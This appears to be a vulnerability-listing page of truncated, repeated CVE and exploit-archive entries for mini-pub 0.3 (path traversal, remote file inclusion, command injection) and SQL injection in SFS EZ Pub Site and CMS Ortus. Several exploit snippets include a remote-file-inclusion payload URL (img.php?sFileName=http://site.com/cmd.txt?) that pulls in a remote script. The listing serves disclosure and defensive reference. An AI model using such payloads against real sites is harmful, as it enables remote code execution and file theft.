CVE-2008-5936

front-end/edit.php in mini-pub 0.3 and earlier allows remote attackers to read files and obtain PHP source code via a filename in the sFileName parameter...

CVE-2008-5883

CVE-2008-5883 describes an absolute path traversal in mini-pub (front-end/dir.php) prior to version 0.3, where a full pathname supplied in the sDir parameter allows remote attackers to list arbitrary directories. Documents confirm the affected component and root cause; exploitation details are no...

CVE-2008-5883

Absolute path traversal vulnerability in front-end/dir.php in mini-pub 0.3 and earlier allows remote attackers to list arbitrary directories via a full pathname in the sDir parameter...

CVE-2008-5579

Absolute path traversal vulnerability in mini-pub.php/front-end/cat.php in mini-pub 0.3 allows remote attackers to read arbitrary files via a full pathname in the sFileName parameter...

Code injection

mini-pub.php/front-end/cat.php in mini-pub 0.3 allows remote attackers to execute arbitrary commands via shell metacharacters in the sFileName argument...

Path traversal

Absolute path traversal vulnerability in mini-pub.php/front-end/cat.php in mini-pub 0.3 allows remote attackers to read arbitrary files via a full pathname in the sFileName parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in mini-pub.php/front-end/img.php in mini-pub 0.3 allows remote attackers to execute arbitrary PHP code via a URL in the sFileName parameter...

CVE-2008-5579

Absolute path traversal vulnerability in mini-pub.php/front-end/cat.php in mini-pub 0.3 allows remote attackers to read arbitrary files via a full pathname in the sFileName parameter...

CVE-2008-5581

The entry concerns CVE-2008-5581: a PHP remote file inclusion in mini-pub 0.3, specifically in mini-pub.php/front-end/img.php, exploitable via the sFileName parameter. Root cause is improper handling of user-supplied URLs, enabling remote PHP code execution. Public exploits exist (e.g., Exploit-D...

CVE-2008-5580

CVE-2008-5580 affects mini-pub 0.3 and its front-end code, specifically the file mini-pub.php/front-end/cat.php. The vulnerability arises from shell metacharacters in the sFileName argument, allowing remote attackers to execute arbitrary commands. The entry lists a high impact with network access...

CVE-2008-5579

The CVE-2008-5579 entry applies to mini-pub 0.3, affecting the file mini-pub.php/front-end/cat.php. The issue is an absolute path traversal vulnerability that allows remote attackers to read arbitrary files by supplying a full pathname in the sFileName parameter. This is a straightforward input-v...

CVE-2008-5580

mini-pub.php/front-end/cat.php in mini-pub 0.3 allows remote attackers to execute arbitrary commands via shell metacharacters in the sFileName argument...

CMS Ortus 1.13 - SQL Injection

CMS Ortus 1.13 - SQL Injection Author: otmorozok428, http://forum.antichat.ru Products: CMS Ortus 1.12, CMS Ortus 1.13 Vendor: http://ortus.nirn.ru Download: http://ortus.nirn.ru/files/ortus1-12.zip, http://ortus.nirn.ru/files/ortus1-13.zip Dork for ALL Versions of CMS Ortus:...

sfsezpubsite-sql.txt

/ / \ / / / / / / / / / / / /\ / / / / / / / / / / / / / / \ / // // / / / / // // / // / / / / / / / // / / / / / / //, / // //,/// // // /,// // // // Discovered by : Hakxer Type Gap : SQL Injection Script : SFS EZ Pub Site Greetz : Allah , Egyptian x hacker , Str0ke : Poc :...

SFS EZ Pub Site - SQL Injection

SFS EZ Pub Site - SQL Injection / / \ / / / / / / / / / / / /\ / / / / / / / / / / / / / / \ / // // / / / / // // / // / / / / / / / // / / / / / / //, / // //,/// // // /,// // // // Discovered by : Hakxer Type Gap : SQL Injection Script : SFS EZ Pub Site Greetz : Allah , Egyptian x...

SFS EZ Pub Site (directory.php cat) SQL Injection Vulnerability

Exploit for unknown platform in category web applications =============================================================== SFS EZ Pub Site directory.php cat SQL Injection Vulnerability =============================================================== Discovered by : Hakxer Type Gap : SQL Injection...

SFS EZ Pub Site - SQL Injection

/ / \ / / / / / / / / / / / /\ / / / / / / / / / / / / / / \ / // // / / / / // // / // / / / / / / / // / / / / / / //, / // //,/// // // /,// // // // Discovered by : Hakxer Type Gap : SQL Injection Script : SFS EZ Pub Site Greetz : Allah , Egyptian x hacker , Str0ke : Poc :...

mini-pub 0.3 (LFD/CE) Multiple Remote Vulnerabilities

No description provided by source. mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local...

mini-pub 0.3 - File Disclosure Code Execution

mini-pub 0.3 - File Disclosure Code Execution mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.tx...

mini-pub 0.3 Local Directory Traversal / File Disclosure Vulnerabilities

Exploit for unknown platform in category web applications ======================================================================== mini-pub 0.3 Local Directory Traversal / File Disclosure Vulnerabilities ======================================================================== mini-pub.php = v0.3...